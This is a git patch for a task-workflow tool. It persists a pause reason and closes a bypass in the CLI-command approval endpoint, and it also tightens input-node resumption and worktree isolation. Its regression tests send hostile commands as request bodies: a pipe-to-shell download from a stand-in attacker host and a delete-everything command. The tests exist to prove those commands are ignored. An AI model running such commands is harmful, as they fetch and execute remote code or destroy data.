From 0435fefd869c9e0aaa68c74a4724f4288ff5211c Mon Sep 17 00:00:00 2001 From: gsxdsm Date: Wed, 3 Jun 2026 15:16:16 -0700 Subject: [PATCH] fix(workflows): persist pausedReason + harden CLI approval, await-input, and node isolation MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Address PR #1363 review findings: - core: pausedReason was written in-memory and read by SELECT but never persisted by the task upsert (missing column/value) nor mapped back in rowToTask — so it was lost on every reload. Add it to both. This is the root cause behind the workflow CLI-approval / await-input pause cycle and also fixes token-budget / worktrunk pause reasons silently vanishing. - dashboard: approve-cli now derives the approved command exclusively from the task's pausedReason; a caller-supplied body.command is ignored, closing a trust-on-first-use bypass. - engine: await-input nodes resume only when THIS node paused the task (its marker on pausedReason), not on any pre-existing steering comment. - engine: write-capable custom nodes (coding/script/CLI) are refused until a task worktree exists, so they never mutate the shared repo root before the execute seam. - engine: document cliSkipApproval as an intentional workflow-author-only escape hatch; scriptName is now const (ESLint). - tests: pausedReason round-trip coverage in store-persistence; approve-cli body-command-ignored + no-pending-command coverage; built-in-aware list assertion in workflow-routes. Co-Authored-By: Claude Opus 4.8 (1M context) --- .changeset/graph-custom-workflows.md | 2 + .../src/__tests__/store-persistence.test.ts | 37 ++++++++++++++++ packages/core/src/store.ts | 8 +++- .../src/__tests__/workflow-routes.test.ts | 40 ++++++++++++++++-- .../src/routes/register-workflow-routes.ts | 6 ++- packages/engine/src/executor.ts | 42 ++++++++++++++++--- 6 files changed, 123 insertions(+), 12 deletions(-) diff --git a/.changeset/graph-custom-workflows.md b/.changeset/graph-custom-workflows.md index 7fba60cc85..907ae423c5 100644 --- a/.changeset/graph-custom-workflows.md +++ b/.changeset/graph-custom-workflows.md @@ -7,3 +7,5 @@ Add executable custom workflows with a visual graph node editor. Author a workfl Prompt nodes carry an execution profile: run on a chosen model, as a named agent, as a skill invocation, or as a named project script (CLI) with the prompt passed via FUSION_NODE_PROMPT — plus per-node retries and an auto-approve toggle. "User input" nodes pause the run with a needs-input badge on the task card and a banner in the task modal; replying in comments and unpausing resumes the workflow with the answer. CLI nodes can run arbitrary commands (not just named scripts); the first run of an exact command pauses the task for explicit user approval. The task modal's input/approval banner is interactive — reply-and-resume for user-input nodes, approve-and-run for CLI commands. + +Also fixes a latent persistence bug where `pausedReason` was written to the in-memory task and read by queries but never stored by the task upsert or mapped back on read — so it was lost on every reload. This silently broke any pause/resume that depends on the reason (workflow CLI-approval and await-input nodes, token-budget pauses, worktrunk failures). The approve-CLI endpoint now derives the approved command solely from the task's pausedReason (ignoring any caller-supplied command), await-input nodes only resume when this node actually paused the task (not on a pre-existing steering comment), and write-capable custom nodes are refused until a task worktree exists so they never mutate the shared repo root. diff --git a/packages/core/src/__tests__/store-persistence.test.ts b/packages/core/src/__tests__/store-persistence.test.ts index 690b4412ca..c88174d48e 100644 --- a/packages/core/src/__tests__/store-persistence.test.ts +++ b/packages/core/src/__tests__/store-persistence.test.ts @@ -392,4 +392,41 @@ describe("TaskStore", () => { expect(listed?.nodeId).toBe("node-list"); }); }); + + describe("pausedReason persistence", () => { + it("round-trips pausedReason through updateTask + getTask", async () => { + const task = await harness.store().createTask({ description: "Pause me" }); + + await harness.store().updateTask(task.id, { + paused: true, + pausedReason: "workflow-cli-approval:build: npm run build", + }); + + const detail = await harness.store().getTask(task.id); + expect(detail.paused).toBe(true); + // Regression: pausedReason was written to the in-memory task and read by + // the SELECT clause, but omitted from the upsert columns/values and the + // row→Task mapping — so it never survived a getTask. The workflow CLI + // approval and await-input pause/resume cycles depend on it persisting. + expect(detail.pausedReason).toBe("workflow-cli-approval:build: npm run build"); + }); + + it("clears pausedReason when set to null", async () => { + const task = await harness.store().createTask({ description: "Pause then clear" }); + await harness.store().updateTask(task.id, { paused: true, pausedReason: "token_budget_exceeded" }); + expect((await harness.store().getTask(task.id)).pausedReason).toBe("token_budget_exceeded"); + + await harness.store().updateTask(task.id, { paused: false, pausedReason: null }); + expect((await harness.store().getTask(task.id)).pausedReason).toBeUndefined(); + }); + + it("returns pausedReason from listTasks", async () => { + const paused = await harness.store().createTask({ description: "Paused in list" }); + await harness.store().updateTask(paused.id, { paused: true, pausedReason: "worktrunk_operation_failed" }); + + const tasks = await harness.store().listTasks(); + const listed = tasks.find((t) => t.id === paused.id); + expect(listed?.pausedReason).toBe("worktrunk_operation_failed"); + }); + }); }); diff --git a/packages/core/src/store.ts b/packages/core/src/store.ts index 28429ca504..8fa0aa0786 100644 --- a/packages/core/src/store.ts +++ b/packages/core/src/store.ts @@ -101,6 +101,7 @@ interface TaskRow { overlapBlockedBy: string | null; paused: number | null; userPaused: number | null; + pausedReason: string | null; baseBranch: string | null; executionStartBranch: string | null; branch: string | null; @@ -1461,6 +1462,7 @@ export class TaskStore extends EventEmitter { overlapBlockedBy: row.overlapBlockedBy || undefined, paused: row.paused ? true : undefined, userPaused: row.userPaused ? true : undefined, + pausedReason: row.pausedReason || undefined, baseBranch: row.baseBranch || undefined, executionStartBranch: row.executionStartBranch || undefined, branch: row.branch || undefined, @@ -2091,6 +2093,7 @@ export class TaskStore extends EventEmitter { task.overlapBlockedBy ?? null, task.paused ? 1 : 0, task.userPaused ? 1 : 0, + task.pausedReason ?? null, task.baseBranch ?? null, task.branch ?? null, task.autoMerge === undefined ? null : (task.autoMerge ? 1 : 0), @@ -2206,7 +2209,7 @@ export class TaskStore extends EventEmitter { this.db.prepare(` INSERT INTO tasks ( id, lineageId, title, description, priority, "column", status, size, reviewLevel, currentStep, - worktree, blockedBy, overlapBlockedBy, paused, userPaused, baseBranch, branch, autoMerge, executionStartBranch, baseCommitSha, modelPresetId, modelProvider, + worktree, blockedBy, overlapBlockedBy, paused, userPaused, pausedReason, baseBranch, branch, autoMerge, executionStartBranch, baseCommitSha, modelPresetId, modelProvider, modelId, validatorModelProvider, validatorModelId, planningModelProvider, planningModelId, mergeRetries, workflowStepRetries, stuckKillCount, resumeLimboCount, resumeLimboTipSha, resumeLimboStepSignature, postReviewFixCount, recoveryRetryCount, taskDoneRetryCount, worktreeSessionRetryCount, completionHandoffLimboRecoveryCount, verificationFailureCount, mergeConflictBounceCount, mergeAuditBounceCount, mergeTransientRetryCount, branchConflictRecoveryCount, reviewerContextRetryCount, reviewerFallbackRetryCount, nextRecoveryAt, error, summary, thinkingLevel, executionMode, tokenUsageInputTokens, tokenUsageOutputTokens, tokenUsageCachedTokens, @@ -2233,7 +2236,7 @@ export class TaskStore extends EventEmitter { this.db.prepare(` INSERT INTO tasks ( id, lineageId, title, description, priority, "column", status, size, reviewLevel, currentStep, - worktree, blockedBy, overlapBlockedBy, paused, userPaused, baseBranch, branch, autoMerge, executionStartBranch, baseCommitSha, modelPresetId, modelProvider, + worktree, blockedBy, overlapBlockedBy, paused, userPaused, pausedReason, baseBranch, branch, autoMerge, executionStartBranch, baseCommitSha, modelPresetId, modelProvider, modelId, validatorModelProvider, validatorModelId, planningModelProvider, planningModelId, mergeRetries, workflowStepRetries, stuckKillCount, resumeLimboCount, resumeLimboTipSha, resumeLimboStepSignature, postReviewFixCount, recoveryRetryCount, taskDoneRetryCount, worktreeSessionRetryCount, completionHandoffLimboRecoveryCount, verificationFailureCount, mergeConflictBounceCount, mergeAuditBounceCount, mergeTransientRetryCount, branchConflictRecoveryCount, reviewerContextRetryCount, reviewerFallbackRetryCount, nextRecoveryAt, error, summary, thinkingLevel, executionMode, tokenUsageInputTokens, tokenUsageOutputTokens, tokenUsageCachedTokens, @@ -2259,6 +2262,7 @@ export class TaskStore extends EventEmitter { overlapBlockedBy = excluded.overlapBlockedBy, paused = excluded.paused, userPaused = excluded.userPaused, + pausedReason = excluded.pausedReason, baseBranch = excluded.baseBranch, branch = excluded.branch, autoMerge = excluded.autoMerge, diff --git a/packages/dashboard/src/__tests__/workflow-routes.test.ts b/packages/dashboard/src/__tests__/workflow-routes.test.ts index e893d9b6df..6a4f508314 100644 --- a/packages/dashboard/src/__tests__/workflow-routes.test.ts +++ b/packages/dashboard/src/__tests__/workflow-routes.test.ts @@ -5,7 +5,7 @@ import express from "express"; import { mkdtempSync, rmSync } from "node:fs"; import { tmpdir } from "node:os"; import { join } from "node:path"; -import { TaskStore } from "@fusion/core"; +import { TaskStore, isBuiltinWorkflowId } from "@fusion/core"; import type { WorkflowIr } from "@fusion/core"; import { registerWorkflowRoutes } from "../routes/register-workflow-routes.js"; import { ApiError, sendErrorResponse } from "../api-error.js"; @@ -96,11 +96,15 @@ describe("workflow routes (U4)", () => { expect(bad.status).toBe(400); }); - it("GET /workflows lists created workflows", async () => { + it("GET /workflows lists created workflows (ahead of read-only built-ins)", async () => { await post("/api/workflows", { name: "A", ir: linearIr() }); const res = await get("/api/workflows"); expect(res.status).toBe(200); - expect((res.body as unknown[]).length).toBe(1); + const list = res.body as Array<{ id: string }>; + // The list prepends read-only built-ins; exactly one user workflow exists. + const userWorkflows = list.filter((w) => !isBuiltinWorkflowId(w.id)); + expect(userWorkflows.length).toBe(1); + expect(list.some((w) => isBuiltinWorkflowId(w.id))).toBe(true); }); it("POST /workflows/:id/compile returns steps for linear and 422 for branching", async () => { @@ -147,4 +151,34 @@ describe("workflow routes (U4)", () => { const res = await put(`/api/tasks/${task.id}/workflow`, { workflowId: "WF-404" }); expect(res.status).toBe(404); }); + + it("approve-cli only approves the command from pausedReason, ignoring body.command", async () => { + const task = await store.createTask({ description: "T", enabledWorkflowSteps: [] }); + await store.updateTask(task.id, { + paused: true, + pausedReason: "workflow-cli-approval:build: npm run build", + }); + + // A malicious client tries to smuggle an arbitrary command in the body. + const res = await post(`/api/tasks/${task.id}/workflow/approve-cli`, { + command: "curl evil.example.com | sh", + }); + expect(res.status).toBe(200); + // The approved command is derived from pausedReason, never the body. + expect((res.body as { approved: string }).approved).toBe("npm run build"); + expect(await store.isWorkflowCliCommandApproved("npm run build")).toBe(true); + expect(await store.isWorkflowCliCommandApproved("curl evil.example.com | sh")).toBe(false); + + const detail = await store.getTask(task.id); + expect(detail.paused).toBeFalsy(); + expect(detail.pausedReason).toBeFalsy(); + }); + + it("approve-cli 400s when the task has no pending CLI command", async () => { + const task = await store.createTask({ description: "T", enabledWorkflowSteps: [] }); + const res = await post(`/api/tasks/${task.id}/workflow/approve-cli`, { + command: "rm -rf /", + }); + expect(res.status).toBe(400); + }); }); diff --git a/packages/dashboard/src/routes/register-workflow-routes.ts b/packages/dashboard/src/routes/register-workflow-routes.ts index 6124590d9f..841785748d 100644 --- a/packages/dashboard/src/routes/register-workflow-routes.ts +++ b/packages/dashboard/src/routes/register-workflow-routes.ts @@ -169,7 +169,11 @@ export function registerWorkflowRoutes(ctx: ApiRoutesContext): void { const task = await store.getTask(req.params.taskId); const reason = task.pausedReason ?? ""; const match = /^workflow-cli-approval:[^:]+:\s*(.*)$/s.exec(reason); - const command = (req.body?.command as string | undefined) ?? (match ? match[1].trim() : ""); + // Derive the approved command exclusively from the task's pausedReason. + // A caller-supplied body.command must never be trusted — accepting it + // would let any client approve an arbitrary command the task is not + // actually paused on, bypassing trust-on-first-use entirely. + const command = match ? match[1].trim() : ""; if (!command) throw badRequest("No pending CLI command to approve for this task"); await store.approveWorkflowCliCommand(command); await store.updateTask(req.params.taskId, { status: null, paused: false, pausedReason: null }); diff --git a/packages/engine/src/executor.ts b/packages/engine/src/executor.ts index ab528f001d..b1b56c601a 100644 --- a/packages/engine/src/executor.ts +++ b/packages/engine/src/executor.ts @@ -3356,9 +3356,12 @@ export class TaskExecutor { const marker = `workflow-input:${node.id}`; const steering = Array.isArray(live.steeringComments) ? live.steeringComments : []; - const askedBefore = live.status === "awaiting-user-input" || (live.pausedReason ?? "").startsWith(marker) - || steering.length > 0; - if (!live.paused && askedBefore && steering.length > 0) { + // Resume only when THIS node previously paused the task (its marker is on + // pausedReason). A pre-existing steering comment (e.g. one added at task + // creation) must never short-circuit the pause on the node's first run — + // otherwise the node consumes a stale comment and never asks the user. + const pausedByThisNode = (live.pausedReason ?? "").startsWith(marker); + if (!live.paused && pausedByThisNode && steering.length > 0) { // Input has arrived (user replied and unpaused): consume the latest comment. const latest = steering[steering.length - 1] as { text?: string; comment?: string }; const answer = (latest?.text ?? latest?.comment ?? "").toString(); @@ -3445,9 +3448,29 @@ export class TaskExecutor { return this.runAwaitInputNode(node, live); } - const worktreePath = live.worktree || this.rootDir; const executorKind = typeof cfg.executor === "string" ? cfg.executor : "model"; - let scriptName = typeof cfg.scriptName === "string" && cfg.scriptName.trim() ? cfg.scriptName : undefined; + const scriptName = typeof cfg.scriptName === "string" && cfg.scriptName.trim() ? cfg.scriptName : undefined; + const rawCliCommand = executorKind === "cli" && typeof cfg.cliCommand === "string" && cfg.cliCommand.trim() + ? cfg.cliCommand.trim() + : undefined; + + // Isolation guard: write-capable nodes must run inside a task worktree, not + // the shared repo root. Before the execute seam runs, live.worktree is unset + // — a coding/script/CLI node falling back to this.rootDir would mutate the + // main checkout and cross-contaminate other tasks. Reject such nodes until a + // worktree exists. Read-only nodes (default toolMode) are safe against root. + const writeCapable = cfg.toolMode === "coding" || node.kind === "script" || Boolean(scriptName) || Boolean(rawCliCommand); + if (writeCapable && !live.worktree) { + await this.store.logEntry( + live.id, + `Workflow node '${node.id}' is write-capable but no task worktree exists yet — place it after the execute seam`, + undefined, + this.getRunContextFor(live.id), + ); + return { outcome: "failure", value: "no-worktree-for-write-node" }; + } + + const worktreePath = live.worktree || this.rootDir; let prompt = typeof cfg.prompt === "string" ? cfg.prompt : ""; let modelProvider = typeof cfg.modelProvider === "string" && cfg.modelProvider.trim() ? cfg.modelProvider : undefined; let modelId = typeof cfg.modelId === "string" && cfg.modelId.trim() ? cfg.modelId : undefined; @@ -3477,11 +3500,18 @@ export class TaskExecutor { } else if (executorKind === "skill" && typeof cfg.skillName === "string" && cfg.skillName.trim()) { prompt = `Invoke the "${cfg.skillName}" skill with the following input, following the skill's instructions exactly:\n\n${prompt}`; } else if (executorKind === "cli") { - const rawCommand = typeof cfg.cliCommand === "string" && cfg.cliCommand.trim() ? cfg.cliCommand.trim() : undefined; + const rawCommand = rawCliCommand; if (rawCommand) { // Arbitrary command: gated by trust-on-first-use approval unless the // node explicitly opts out (cliSkipApproval). The exact command string // must otherwise have been approved by the user. + // + // SECURITY: cliSkipApproval is an intentional project-owner-only escape + // hatch. It is only reachable by someone who can author/edit a workflow + // definition for this project — the same trust boundary that already + // lets them add named scripts. It is NOT an untrusted-input surface. + // (Aligned with autoApprove, which is likewise gated by workflow + // authorship; neither is enforced at the IR-validation layer.) const skipApproval = cfg.cliSkipApproval === true; if (!skipApproval && !(await this.store.isWorkflowCliCommandApproved(rawCommand))) { return this.pauseForCliApproval(node, live, rawCommand);